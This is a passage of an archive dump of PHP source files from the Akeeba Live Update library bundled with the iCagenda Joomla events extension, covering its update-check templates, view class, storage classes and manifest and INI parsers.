		<div class="liveupdate-infotable">
			<div class="liveupdate-row row0">
				<span class="liveupdate-label"><?php echo JText::_('LIVEUPDATE_CURRENTVERSION') ?></span>
				<span class="liveupdate-data"><?php echo $this->updateInfo->extInfo->version ?></span>
			</div>
			<div class="liveupdate-row row1">
				<span class="liveupdate-label"><?php echo JText::_('LIVEUPDATE_LATESTVERSION') ?></span>
				<span class="liveupdate-data"><?php echo $this->updateInfo->version ?></span>
			</div>
			<div class="liveupdate-row row0">
				<span class="liveupdate-label"><?php echo JText::_('LIVEUPDATE_LATESTRELEASED') ?></span>
				<span class="liveupdate-data"><?php echo $this->updateInfo->date ?></span>
			</div>
			<div class="liveupdate-row row1">
				<span class="liveupdate-label"><?php echo JText::_('LIVEUPDATE_DOWNLOADURL') ?></span>
				<span class="liveupdate-data"><a href="<?php echo $this->updateInfo->downloadURL.$auth?>"><?php echo $this->escape($this->updateInfo->downloadURL)?></a></span>
			</div>
			<?php if(!empty($this->updateInfo->releasenotes) || !empty($this->updateInfo->infoURL)): ?>
			<div class="liveupdate-row row0">
				<span class="liveupdate-label"><?php echo JText::_('LIVEUPDATE_RELEASEINFO') ?></span>
				<span class="liveupdate-data">
					<?php if($this->updateInfo->releasenotes): ?>
					<a href="#" id="btnLiveUpdateReleaseNotes" class="btn btn-warning btn-small"><i class="icon-file"></i> <?php echo JText::_('LIVEUPDATE_RELEASENOTES') ?></a>
					<?php
					JHTML::_('behavior.framework');
					JHTML::_('behavior.modal');

					$script = <<<ENDSCRIPT
					window.addEvent( 'domready' ,  function() {
						$('btnLiveUpdateReleaseNotes').addEvent('click', showLiveUpdateReleaseNotes);
					});

					function showLiveUpdateReleaseNotes()
					{
						var liveupdateReleasenotes = $('liveupdate-releasenotes').clone();

						SqueezeBox.fromElement(
							liveupdateReleasenotes, {
								handler: 'adopt',
								size: {
									x: 450,
									y: 350
								}
							}
						);
					}
ENDSCRIPT;
					$document = JFactory::getDocument();
					$document->addScriptDeclaration($script,'text/javascript');
					?>
					<?php endif; ?>
					<?php if($this->updateInfo->releasenotes && $this->updateInfo->infoURL): ?>
					<!-- &nbsp;&bull;&nbsp; -->
					<?php endif; ?>
					<?php if($this->updateInfo->infoURL): ?>
					<!-- a class="btn btn-small" href="http://icagenda.joomlic.com" target="_blank"><?php echo JText::_('LIVEUPDATE_READMOREINFO') ?></a -->
					<?php endif; ?>
					<button class="btn btn-info btn-small" onclick="window.location='<?php echo $this->requeryURL ?>'" ><i class="icon-refresh"></i> <?php echo JText::_('LIVEUPDATE_REFRESH_INFO') ?></button>
				</span>
			</div>
			<?php endif; ?>
		</div>

		<p class="liveupdate-buttons">
			<?php if($this->updateInfo->hasUpdates):?>
			<?php $disabled = $this->needsAuth ? 'disabled="disabled"' : ''?>
			<button class="btn btn-success btn-large" <?php echo $disabled?> onclick="window.location='<?php echo $this->runUpdateURL ?>'" ><i class="icon-download"></i>&nbsp;&nbsp;<?php echo JText::_('LIVEUPDATE_DO_UPDATE') ?></button>
			<?php endif;?>
			<!--button class="btn btn-info btn-small" onclick="window.location='<?php echo $this->requeryURL ?>'" ><i class="icon-refresh"></i> <?php echo JText::_('LIVEUPDATE_REFRESH_INFO') ?></button-->
		</p>
	</div>

	<?php endif; ?>

	<p class="liveupdate-poweredby">
		Powered by <a href="https://www.akeebabackup.com/software/akeeba-live-update.html">Akeeba Live Update</a>
	</p>

</div>
com_icagenda/liveupdate/classes/tmpl/nagscreen.php000060400000005113152455305300016364 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 *
 * @package LiveUpdate 2.1.5 - 2.2.1
 * @copyright Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com
 * @license GNU LGPLv3 or later <http://www.gnu.org/copyleft/lesser.html>
 *
 * @version     3.4.0 2014-12-21
 * @since       1.2.6
 */
/**
 * Specific strings iCagenda
 */

defined('_JEXEC') or die();

$stability = JText::_('LIVEUPDATE_STABILITY_'.$this->updateInfo->stability);
?>

<div class="liveupdate">

	<div id="nagscreen">
		<h2><?php echo JText::_('LIVEUPDATE_NAGSCREEN_HEAD_ICAGENDA') ?></h2>

		<p class="nagversioninfo">
			<?php echo JText::sprintf('LIVEUPDATE_NAGSCREEN_VERSION_ICAGENDA', $this->updateInfo->version, $stability) ?>
		</p>
		<?php if (JText::_('LIVEUPDATE_NAGSCREEN_BODY_ICAGENDA') != 'LIVEUPDATE_NAGSCREEN_BODY_ICAGENDA') : ?>
			<p class="nagtext">
				<?php echo JText::_('LIVEUPDATE_NAGSCREEN_BODY_ICAGENDA') ?>
			</p>
		<?php else : ?>
			<p class="nagtext">
				<?php echo JText::_('LIVEUPDATE_NAGSCREEN_BODY_PRE_RELEASES_ALERT_TOP') ?>
			</p>
			<p class="nagstability alert alert-danger">
				<strong><?php echo JText::_('LIVEUPDATE_NAGSCREEN_BODY_PRE_RELEASES_ICAGENDA_ALPHA') ?></strong>:
				<?php echo JText::_('LIVEUPDATE_NAGSCREEN_BODY_PRE_RELEASES_ALERT_ALPHA') ?>
			</p>
			<p class="nagstability alert alert-warning">
				<strong><?php echo JText::_('LIVEUPDATE_NAGSCREEN_BODY_PRE_RELEASES_ICAGENDA_BETA') ?></strong>:
				<?php echo JText::_('LIVEUPDATE_NAGSCREEN_BODY_PRE_RELEASES_ALERT_BETA') ?>
			</p>
			<p class="nagstability alert alert-info">
				<strong><?php echo JText::_('LIVEUPDATE_NAGSCREEN_BODY_PRE_RELEASES_ICAGENDA_RC') ?></strong>:
				<?php echo JText::_('LIVEUPDATE_NAGSCREEN_BODY_PRE_RELEASES_ALERT_RC') ?>
			</p>
			<p class="nagtext">
				<?php echo JText::_('LIVEUPDATE_NAGSCREEN_BODY_PRE_RELEASES_ALERT_BOTTOM') ?>
			</p>
		<?php endif; ?>
		<!--p>
			<small><?php echo JText::_('LIVEUPDATE_NAGSCREEN_FOOTER_ICAGENDA') ?>
			<a href="http://www.joomlic.com" target="_blank">www.joomlic.com</a></small>
		</p-->
	</div>
	<p class="liveupdate-buttons">
		<button class="btn btn-danger btn-large" onclick="window.location='<?php echo $this->runUpdateURL ?>'" ><?php echo JText::_('LIVEUPDATE_NAGSCREEN_BUTTON') ?></button>
	</p>

	<p class="liveupdate-poweredby">
		Powered by <a href="https://www.akeebabackup.com/software/akeeba-live-update.html">Akeeba Live Update</a>
	</p>

</div>
com_icagenda/liveupdate/classes/view.php000060400000006717152455305300014430 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 *
 * @package LiveUpdate 2.1.5 - 2.2.1
 * @copyright Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com
 * @license GNU LGPLv3 or later <http://www.gnu.org/copyleft/lesser.html>
 *
 * @version     3.1.7 2013-08-28
 * @since       1.2.6
 */

defined('_JEXEC') or die();

JLoader::import('joomla.application.component.view');

if(!class_exists('JoomlaCompatView')) {
	if(interface_exists('JView')) {
		abstract class JoomlaCompatView extends JViewLegacy {}
	} else {
		class JoomlaCompatView extends JView {}
	}
}

/**
 * The Live Update MVC view
 */
class LiveUpdateView extends JoomlaCompatView
{
	public function display($tpl = null)
	{
		// Load the CSS
		$config = LiveUpdateConfig::getInstance();
		$this->assign('config', $config);
		if(!$config->addMedia()) {
			// No custom CSS overrides were set; include our own
			$document = JFactory::getDocument();
			$url = JURI::base().'/components/'.JRequest::getCmd('option','').'/liveupdate/assets/liveupdate.css';
			$document->addStyleSheet($url, 'text/css');
		}

		$requeryURL = rtrim(JURI::base(),'/').'/index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&force=1';
		$this->assign('requeryURL', $requeryURL);

		$model = $this->getModel();

		$extInfo = (object)$config->getExtensionInformation();
		JToolBarHelper::title($extInfo->title.' &ndash; '.JText::_('LIVEUPDATE_TASK_OVERVIEW'),'liveupdate');
		JToolBarHelper::back('JTOOLBAR_BACK', 'index.php?option='.JRequest::getCmd('option',''));

		if(version_compare(JVERSION, '3.0', 'ge')) {
			$j3css = <<<ENDCSS
div#toolbar div#toolbar-back button.btn span.icon-back::before {
	content: "";
}
ENDCSS;
			JFactory::getDocument()->addStyleDeclaration($j3css);
		}

		switch(JRequest::getCmd('task','default'))
		{
			case 'startupdate':
				$this->setLayout('startupdate');
				$this->assign('url','index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=download');
				break;

			case 'install':
				$this->setLayout('install');

				// Get data from the model
				$state		= $this->get('State');

				// Are there messages to display ?
				$showMessage	= false;
				if ( is_object($state) )
				{
					$message1		= $state->get('message');
					$message2		= $state->get('extension.message');
					$showMessage	= ( $message1 || $message2 );
				}

				$this->assign('showMessage',	$showMessage);
				$this->assignRef('state',		$state);

				break;

			case 'nagscreen':
				$this->setLayout('nagscreen');
				$this->assign('updateInfo', LiveUpdate::getUpdateInformation());
				$this->assign('runUpdateURL','index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=startupdate&skipnag=1');
				break;

			case 'overview':
			default:
				$this->setLayout('overview');

				$force = JRequest::getInt('force',0);
				$this->assign('updateInfo', LiveUpdate::getUpdateInformation($force));
				$this->assign('runUpdateURL','index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=startupdate');

				$needsAuth = !($config->getAuthorization()) && ($config->requiresAuthorization());
				$this->assign('needsAuth', $needsAuth);
				break;
		}

		parent::display($tpl);
	}
}
com_icagenda/liveupdate/classes/storage/file.php000060400000004114152455305300016026 0ustar00<?php

/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 *
 * @package LiveUpdate 2.1.5 - 2.2.1
 * @copyright Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com
 * @license GNU LGPLv3 or later <http://www.gnu.org/copyleft/lesser.html>
 *
 * @version     3.1.7 2013-08-28
 * @since       1.2.6
 */
defined('_JEXEC') or die();

/**
 * Live Update File Storage Class
 * Allows to store the update data to files on disk. Its configuration options are:
 * path			string	The absolute path to the directory where the update data will be stored as INI files
 *
 */
class LiveUpdateStorageFile extends LiveUpdateStorage
{
	private $filename = null;
	private $extname = null;

	public function __construct()
	{
	}

	public function load($config)
	{
		JLoader::import('joomla.registry.registry');
		JLoader::import('joomla.filesystem.file');

		if (array_key_exists('path', $config))
		{
			$path	= $config['path'];
		}
		else
		{
			$path	= JPATH_CACHE;
		}
		$extname	= $config['extensionName'];
		$filename	= "$path/$extname.updates.php";

		// Kill old files
		$filenameKill = "$path/$extname.updates.ini";
		if (JFile::exists($filenameKill))
		{
			JFile::delete($filenameKill);
		}

		$this->filename	 = $filename;
		$this->extname	 = $extname;

		$this->registry = new JRegistry('update');

		if (JFile::exists($this->filename))
		{
			// Workaround for broken JRegistryFormatPHP API...
			@include_once $this->filename;

			$className = 'LiveUpdate' . ucwords($extname) . 'Cache';

			if (class_exists($className))
			{
				$object = new $className;
				$this->registry->loadObject($object);
			}
		}
	}

	public function save()
	{
		JLoader::import('joomla.registry.registry');
		JLoader::import('joomla.filesystem.file');

		$options = array(
			'class' => 'LiveUpdate' . ucwords($this->extname) . 'Cache'
		);
		$data	 = $this->registry->toString('PHP', $options);
		JFile::write($this->filename, $data);
	}

}
com_icagenda/liveupdate/classes/storage/component.php000060400000006357152455305300017124 0ustar00<?php

/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 *
 * @package LiveUpdate 2.1.5 - 2.2.1
 * @copyright Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com
 * @license GNU LGPLv3 or later <http://www.gnu.org/copyleft/lesser.html>
 *
 * @version     3.1.7 2013-08-28
 * @since       1.2.6
 */
defined('_JEXEC') or die();

/**
 * Live Update Component Storage Class
 * Allows to store the update data to a component's parameters. This is the most reliable method.
 * Its configuration options are:
 * component	string	The name of the component which will store our data. If not specified the extension name will be used.
 * key			string	The name of the component parameter where the serialized data will be stored. If not specified "liveupdate" will be used.
 */
class LiveUpdateStorageComponent extends LiveUpdateStorage
{
	private $component = null;

	private $key = null;

	public function __construct()
	{
		$this->keyPrefix = '';
	}

	public function load($config)
	{
		if (!array_key_exists('component', $config))
		{
			$this->component = $config['extensionName'];
		}
		else
		{
			$this->component = $config['component'];
		}

		if (!array_key_exists('key', $config))
		{
			$this->key = 'liveupdate';
		}
		else
		{
			$this->key = $config['key'];
		}

		// Not using JComponentHelper to avoid conflicts ;)
		$db			 = JFactory::getDbo();
		$sql		 = $db->getQuery(true)
			->select($db->qn('params'))
			->from($db->qn('#__extensions'))
			->where($db->qn('type') . ' = ' . $db->q('component'))
			->where($db->qn('element') . ' = ' . $db->q($this->component));
		$db->setQuery($sql);
		$rawparams	 = $db->loadResult();
		$params		 = new JRegistry();
		$params->loadString($rawparams, 'JSON');

		$data = $params->get($this->key, '');

		JLoader::import('joomla.registry.registry');
		$this->registry = new JRegistry('update');

		$this->registry->loadString($data, 'INI');
	}

	public function save()
	{
		$data = $this->registry->toString('INI');

		$db = JFactory::getDBO();

		// An interesting discovery: if your component is manually updating its
		// component parameters before Live Update is called, then calling Live
		// Update will reset the modified component parameters because
		// JComponentHelper::getComponent() returns the old, cached version of
		// them. So, we have to forget the following code and shoot ourselves in
		// the feet. Dammit!!!
		$sql = $db->getQuery(true)
			->select($db->qn('params'))
			->from($db->qn('#__extensions'))
			->where($db->qn('type') . ' = ' . $db->q('component'))
			->where($db->qn('element') . ' = ' . $db->q($this->component));
		$db->setQuery($sql);
		$rawparams	 = $db->loadResult();
		$params		 = new JRegistry();
		$params->loadString($rawparams, 'JSON');

		$params->set($this->key, $data);

		$data	 = $params->toString('JSON');
		$sql	 = $db->getQuery(true)
			->update($db->qn('#__extensions'))
			->set($db->qn('params') . ' = ' . $db->q($data))
			->where($db->qn('type') . ' = ' . $db->q('component'))
			->where($db->qn('element') . ' = ' . $db->q($this->component));

		$db->setQuery($sql);
		$db->execute();
	}

}
com_icagenda/liveupdate/classes/storage/storage.php000060400000006055152455305300016561 0ustar00<?php

/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 *
 * @package LiveUpdate 2.1.5 - 2.2.1
 * @copyright Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com
 * @license GNU LGPLv3 or later <http://www.gnu.org/copyleft/lesser.html>
 *
 * @version     3.1.8 2013-08-30
 * @since       1.2.6
 */
/**
 * Specific PHP 5.3 min control - iCagenda
 */
defined('_JEXEC') or die();

/**
 * Abstract class for the update parameters storage
 * @author nicholas
 *
 */
abstract class LiveUpdateStorage
{
	/**
	 * @var  JRegistry  The update data registry
	 */
	protected $registry = null;

	/**
	 * @var  string  The key prefix for the registry data
	 */
	protected $keyPrefix = 'update.';

	/**
	 * Singleton implementation
	 *
	 * @param   string  $type    Storage tyme (file, component)
	 * @param   array   $config  Configuration array
	 *
	 * @return  LiveUpdateStorage
	 */
	public static function getInstance($type, $config)
	{
		static $instances = array();

		$sig = md5($type, serialize($config));
		if (!array_key_exists($sig, $instances))
		{
			$className = 'LiveUpdateStorage' . ucfirst($type);

			if (!class_exists($className))
			{
				if (version_compare(phpversion(), '5.3.0', '<')) {
					require_once dirname(__FILE__).'/'.strtolower($type).'.php';
				} else {
					require_once __DIR__ . '/' . strtolower($type) . '.php';
				}
			}

			$object	= new $className($config);
			$object->load($config);

			$instances[$sig] = $object;
		}

		return $instances[$sig];
	}

	/**
	 * Set a value to the storage registry. Automatically encodes updatedata.
	 *
	 * @param   string  $key    The key to set
	 * @param   mixed   $value  The value of the key to set
	 *
	 * @return  void
	 */
	public final function set($key, $value)
	{
		if ($key == 'updatedata')
		{
			if (function_exists('base64_encode') && function_exists('base64_decode'))
			{
				$value = base64_encode(serialize($value));
			}
			else
			{
				$value = serialize($value);
			}
		}

		$this->registry->set($this->keyPrefix . $key, $value);
	}

	/**
	 * Read a value from the storage registry
	 *
	 * @param   string  $key      The key to read
	 * @param   mixed   $default  The default value of the key, if the key is not present
	 *
	 * @return  mixed  The value of the key
	 */
	public final function get($key, $default)
	{
		$value = $this->registry->get($this->keyPrefix . $key, $default);

		if ($key == 'updatedata')
		{
			if (function_exists('base64_encode') && function_exists('base64_decode'))
			{
				$value = unserialize(base64_decode($value));
			}
			else
			{
				$value = unserialize($value);
			}
		}

		return $value;
	}

	/**
	 * Save the contents of the registry to the appropriate storage
	 *
	 * @return  void
	 */
	abstract public function save();

	/**
	 * Load data from the storage
	 *
	 * @param   array  The configuration options
	 *
	 * @return  void
	 */
	abstract public function load($config);
}
com_icagenda/liveupdate/classes/xmlslurp.php000060400000027100152455305300015331 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 *
 * @package LiveUpdate 2.1.5 - 2.2.1
 * @copyright Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com
 * @license GNU LGPLv3 or later <http://www.gnu.org/copyleft/lesser.html>
 *
 * @version     3.1.7 2013-08-28
 * @since       1.2.6
 */

defined('_JEXEC') or die();

class LiveUpdateXMLSlurp extends JObject
{
	private $_info = array();

	public function getInfo($extensionName, $xmlName)
	{
		if(!array_key_exists($extensionName, $this->_info)) {
			$this->_info[$extensionName] = $this->fetchInfo($extensionName, $xmlName);
		}

		return $this->_info[$extensionName];
	}

	/**
	 * Gets the version information of an extension by reading its XML file
	 * @param string $extensionName The name of the extension, e.g. com_foobar, mod_foobar, plg_foobar or tpl_foobar.
	 * @param string $xmlName The name of the XML manifest filename. If empty uses $extensionName.xml
	 */
	private function fetchInfo($extensionName, $xmlName)
	{
		$type = strtolower(substr($extensionName,0,3));
		switch($type) {
			case 'com':
				return $this->getComponentData($extensionName, $xmlName);
				break;
			case 'mod':
				return $this->getModuleData($extensionName, $xmlName);
				break;
			case 'plg':
				return $this->getPluginData($extensionName, $xmlName);
				break;
			case 'tpl':
				return $this->getTemplateData($extensionName, $xmlName);
				break;
			case 'pkg':
				return $this->getPackageData($extensionName, $xmlName);
				break;
			case 'lib':
				return $this->getPackageData($extensionName, $xmlName);
				break;
			default:
				if(strtolower(substr($extensionName, 0, 4)) == 'file') {
					return $this->getPackageData($extensionName, $xmlName);
				} else {
					return array('version'=>'', 'date'=>'');
				}
		}
	}

	/**
	 * Gets the version information of a component by reading its XML file
	 * @param string $extensionName The name of the extension, e.g. com_foobar
	 * @param string $xmlName The name of the XML manifest filename. If empty uses $extensionName.xml
	 */
	private function getComponentData($extensionName, $xmlName)
	{
		$extensionName = strtolower($extensionName);
		$path = JPATH_ADMINISTRATOR.'/components/'.$extensionName;
		$altExtensionName = substr($extensionName,4);

		JLoader::import('joomla.filesystem.file');
		if(JFile::exists("$path/$xmlName")) {
			$filename = "$path/$xmlName";
		} elseif(JFile::exists("$path/$extensionName.xml")) {
			$filename = "$path/$extensionName.xml";
		} elseif(JFile::exists("$path/$altExtensionName.xml")) {
			$filename = "$path/$altExtensionName.xml";
		} elseif(JFile::exists("$path/manifest.xml")) {
			$filename = "$path/manifest.xml";
		} else {
			$filename = $this->searchForManifest($path);
			if($filename === false)	$filename = null;
		}

		if(empty($filename)) {
			return array('version' => '', 'date' => '', 'xmlfile' => '');
		}

		try {
			$xml = new SimpleXMLElement($filename, LIBXML_NONET, true);
		} catch(Exception $e) {
			return array('version' => '', 'date' => '', 'xmlfile' => '');
		}

		// Need to check for extension (since 1.6) and install (supported through 2.5)
		if ($xml->getName() != 'extension' && $xml->getName() != 'install') {
			unset($xml);
			return array('version' => '', 'date' => '', 'xmlfile' => '');
		}

		$data['version'] = $xml->version ? (string) $xml->version : '';
		$data['date'] = $xml->creationDate ? (string) $xml->creationDate : '';
		$data['xmlfile'] = $filename;

		return $data;
	}

	/**
	 * Gets the version information of a module by reading its XML file
	 * @param string $extensionName The name of the extension, e.g. mod_foobar
	 * @param string $xmlName The name of the XML manifest filename. If empty uses $extensionName.xml
	 */
	private function getModuleData($extensionName, $xmlName)
	{
		$extensionName = strtolower($extensionName);
		$altExtensionName = substr($extensionName,4);

		JLoader::import('joomla.filesystem.folder');
		JLoader::import('joomla.filesystem.file');
		$path = JPATH_SITE.'/modules/'.$extensionName;
		if(!JFolder::exists($path)) {
			$path = JPATH_ADMINISTRATOR.'/modules/'.$extensionName;
		}
		if(!JFolder::exists($path)) {
			// Joomla! 1.5
			// 1. Check front-end
			$path = JPATH_ADMINISTRATOR.'/modules';
			$filename = "$path/$xmlName";
			if(!JFile::exists($filename)) {
				$filename = "$path/$extensionName.xml";
			}
			if(!JFile::exists($filename)) {
				$filename = "$path/$altExtensionName.xml";
			}
			// 2. Check front-end
			if(!JFile::exists($filename)) {
				$path = JPATH_SITE.'/modules';
				$filename = "$path/$xmlName";
				if(!JFile::exists($filename)) {
					$filename = "$path/$extensionName.xml";
				}
				if(!JFile::exists($filename)) {
					$filename = "$path/$altExtensionName.xml";
				}
				if(!JFile::exists($filename)) {
					return array('version' => '', 'date' => '');
				}
			}
		} else {
			// Joomla! 1.6
			$filename = "$path/$xmlName";
			if(!JFile::exists($filename)) {
				$filename = "$path/$extensionName.xml";
			}
			if(!JFile::exists($filename)) {
				$filename = "$path/$altExtensionName.xml";
			}
			if(!JFile::exists($filename)) {
				return array('version' => '', 'date' => '');
			}
		}

		if(empty($filename)) {
			return array('version' => '', 'date' => '', 'xmlfile' => '');
		}

		try {
			$xml = new SimpleXMLElement($filename, LIBXML_NONET, true);
		} catch(Exception $e) {
			return array('version' => '', 'date' => '', 'xmlfile' => '');
		}

		// Need to check for extension (since 1.6) and install (supported through 2.5)
		if ($xml->getName() != 'extension' && $xml->getName() != 'install') {
			unset($xml);
			return array('version' => '', 'date' => '', 'xmlfile' => '');
		}

		$data['version'] = $xml->version ? (string) $xml->version : '';
		$data['date'] = $xml->creationDate ? (string) $xml->creationDate : '';
		$data['xmlfile'] = $filename;

		return $data;
	}

	/**
	 * Gets the version information of a plugin by reading its XML file
	 * @param string $extensionName The name of the plugin, e.g. plg_foobar
	 * @param string $xmlName The name of the XML manifest filename. If empty uses $extensionName.xml
	 */
	private function getPluginData($extensionName, $xmlName)
	{
		$extensionName = strtolower($extensionName);
		$altExtensionName = substr($extensionName,4);

		JLoader::import('joomla.filesystem.folder');
		JLoader::import('joomla.filesystem.file');

		$base = JPATH_PLUGINS;

		// Get a list of directories
		$stack = JFolder::folders($base,'.',true,true);
		foreach($stack as $path)
		{
			$filename = "$path/$xmlName";
			if(JFile::exists($filename)) break;
			$filename = "$path/$extensionName.xml";
			if(JFile::exists($filename)) break;
			$filename = "$path/$altExtensionName.xml";
			if(JFile::exists($filename)) break;
		}

		if(!JFile::exists($filename)) {
			return array('version' => '', 'date' => '', 'xmlfile' => '');
		}

		try {
			$xml = new SimpleXMLElement($filename, LIBXML_NONET, true);
		} catch(Exception $e) {
			return array('version' => '', 'date' => '', 'xmlfile' => '');
		}

		// Need to check for extension (since 1.6) and install (supported through 2.5)
		if ($xml->getName() != 'extension' && $xml->getName() != 'install') {
			unset($xml);
			return array('version' => '', 'date' => '', 'xmlfile' => '');
		}

		$data['version'] = $xml->version ? (string) $xml->version : '';
		$data['date'] = $xml->creationDate ? (string) $xml->creationDate : '';
		$data['xmlfile'] = $filename;

		return $data;
	}

	/**
	 * Gets the version information of a template by reading its XML file
	 * @param string $extensionName The name of the template, e.g. tpl_foobar
	 * @param string $xmlName The name of the XML manifest filename. If empty uses $extensionName.xml or templateDetails.xml
	 */
	private function getTemplateData($extensionName, $xmlName)
	{
		$extensionName = strtolower($extensionName);
		$altExtensionName = substr($extensionName,4);

		JLoader::import('joomla.filesystem.folder');
		JLoader::import('joomla.filesystem.file');

		// First look for administrator templates
		$path = JPATH_THEMES.'/'.$altExtensionName;
		if(!JFolder::exists($path)) {
			// Then look for front-end templates
			$path = JPATH_SITE.'/templates/'.$altExtensionName;
			if(!JFolder::exists($path)) return array('version' => '', 'date' => '');
		}

		$filename = "$path/$xmlName";
		if(!JFile::exists($filename)) {
			$filename = "$path/templateDetails.xml";
		}
		if(!JFile::exists($filename)) {
			$filename = "$path/$extensionName.xml";
		}
		if(!JFile::exists($filename)) {
			$filename = "$path/$altExtensionName.xml";
		}
		if(!JFile::exists($filename)) {
			return array('version' => '', 'date' => '', 'xmlfile' => '');
		}

		try {
			$xml = new SimpleXMLElement($filename, LIBXML_NONET, true);
		} catch(Exception $e) {
			return array('version' => '', 'date' => '', 'xmlfile' => '');
		}

		// Need to check for extension (since 1.6) and install (supported through 2.5)
		if ($xml->getName() != 'extension' && $xml->getName() != 'install') {
			unset($xml);
			return array('version' => '', 'date' => '', 'xmlfile' => '');
		}

		$data['version'] = $xml->version ? (string) $xml->version : '';
		$data['date'] = $xml->creationDate ? (string) $xml->creationDate : '';
		$data['xmlfile'] = $filename;

		return $data;
	}

	/**
	 * This method parses the manifest information of package, library and file
	 * extensions. All of those extensions do not store their manifests in the
	 * extension's directory, but in administrator/manifests. Kudos to @mbabker
	 * for sharing this method!
	 *
	 * @param string $extensionName
	 * @param string $xmlName
	 * @return type
	 */
	private function getPackageData($extensionName, $xmlName)
	{
		$extensionName = strtolower($extensionName);
		$altExtensionName = substr($extensionName,4);

		JLoader::import('joomla.filesystem.folder');
		JLoader::import('joomla.filesystem.file');
		$path = JPATH_ADMINISTRATOR.'/manifests/packages';

		$filename = "$path/$xmlName";
		if(!JFile::exists($filename)) {
			$filename = "$path/$extensionName.xml";
		}
		if(!JFile::exists($filename)) {
			$filename = "$path/$altExtensionName.xml";
		}
		if(!JFile::exists($filename)) {
			return array('version' => '', 'date' => '');
		}

		if(empty($filename)) {
			return array('version' => '', 'date' => '', 'xmlfile' => '');
		}

		try {
			$xml = new SimpleXMLElement($filename, LIBXML_NONET, true);
		} catch(Exception $e) {
			return array('version' => '', 'date' => '', 'xmlfile' => '');
		}

		// Need to check for extension (since 1.6) and install (supported through 2.5)
		if ($xml->getName() != 'extension') {
			unset($xml);
			return array('version' => '', 'date' => '', 'xmlfile' => '');
		}

		$data['version'] = $xml->version ? (string) $xml->version : '';
		$data['date'] = $xml->creationDate ? (string) $xml->creationDate : '';
		$data['xmlfile'] = $filename;

		return $data;
	}

	/**
	 * Scans a directory for XML manifest files. The first XML file to be a
	 * manifest wins.
	 *
	 * @var $path string The path to look into
	 *
	 * @return string|bool The full path to a manifest file or false if not found
	 */
	private function searchForManifest($path)
	{
		JLoader::import('joomla.filesystem.folder');
		$files = JFolder::files($path, '\.xml$', false, true);
		if(!empty($files)) foreach($files as $filename) {
			try {
				$xml = new SimpleXMLElement($filename, LIBXML_NONET, true);
			} catch(Exception $e) {
				continue;
			}

			// Check for extension (since 1.6) and install (supported through 2.5)
			if(($xml->getName() != 'extension' && $xml->getName() != 'install')) continue;
			unset($xml);
			return $filename;
		}

		return false;
	}
}
com_icagenda/liveupdate/classes/inihelper.php000060400000010031152455305300015415 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 *
 * @package LiveUpdate 2.1.5 - 2.2.1
 * @copyright Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com
 * @license GNU LGPLv3 or later <http://www.gnu.org/copyleft/lesser.html>
 *
 * @version     3.1.7 2013-08-28
 * @since       1.2.6
 */

defined('_JEXEC') or die();

/**
 * A smart INI file parser with reproducible behaviour among different PHP versions
 */
class LiveUpdateINIHelper
{
	/**
	 * Parse an INI file and return an associative array. Since PHP versions before
	 * 5.1 are bitches with regards to INI parsing, I use a PHP-only solution to
	 * overcome this obstacle.
	 * @param	string	$file	The file to process
	 * @param	bool	$process_sections	True to also process INI sections
	 * @return	array	An associative array of sections, keys and values
	 */
	public static function parse_ini_file( $file, $process_sections, $rawdata = false )
	{
		if($rawdata)
		{
			return self::parse_ini_file_php($file, $process_sections, $rawdata);
		}
		else
		{
			if( version_compare(PHP_VERSION, '5.1.0', '>=') && (!$rawdata) )
			{
				if( function_exists('parse_ini_file') )
				{
					return parse_ini_file($file, $process_sections);
				}
				else
				{
					return self::parse_ini_file_php($file, $process_sections);
				}
			} else {
				return self::parse_ini_file_php($file, $process_sections, $rawdata);
			}
		}
	}

	/**
	 * A PHP based INI file parser.
	 * Thanks to asohn ~at~ aircanopy ~dot~ net for posting this handy function on
	 * the parse_ini_file page on http://gr.php.net/parse_ini_file
	 * @param	string	$file	Filename to process
	 * @param	bool	$process_sections	True to also process INI sections
	 * @param	bool	$rawdata	If true, the $file contains raw INI data, not a filename
	 * @return	array	An associative array of sections, keys and values
	 */
	static function parse_ini_file_php($file, $process_sections = false, $rawdata = false)
	{
		$process_sections = ($process_sections !== true) ? false : true;

		if(!$rawdata)
		{
			$ini = file($file);
		}
		else
		{
			$file = str_replace("\r","",$file);
			$ini = explode("\n", $file);
		}

		if (count($ini) == 0) {return array();}

		$sections = array();
		$values = array();
		$result = array();
		$globals = array();
		$i = 0;
		foreach ($ini as $line) {
			$line = trim($line);
			$line = str_replace("\t", " ", $line);

			// Comments
			if (!preg_match('/^[a-zA-Z0-9[]/', $line)) {continue;}

			// Sections
			if ($line{0} == '[') {
				$tmp = explode(']', $line);
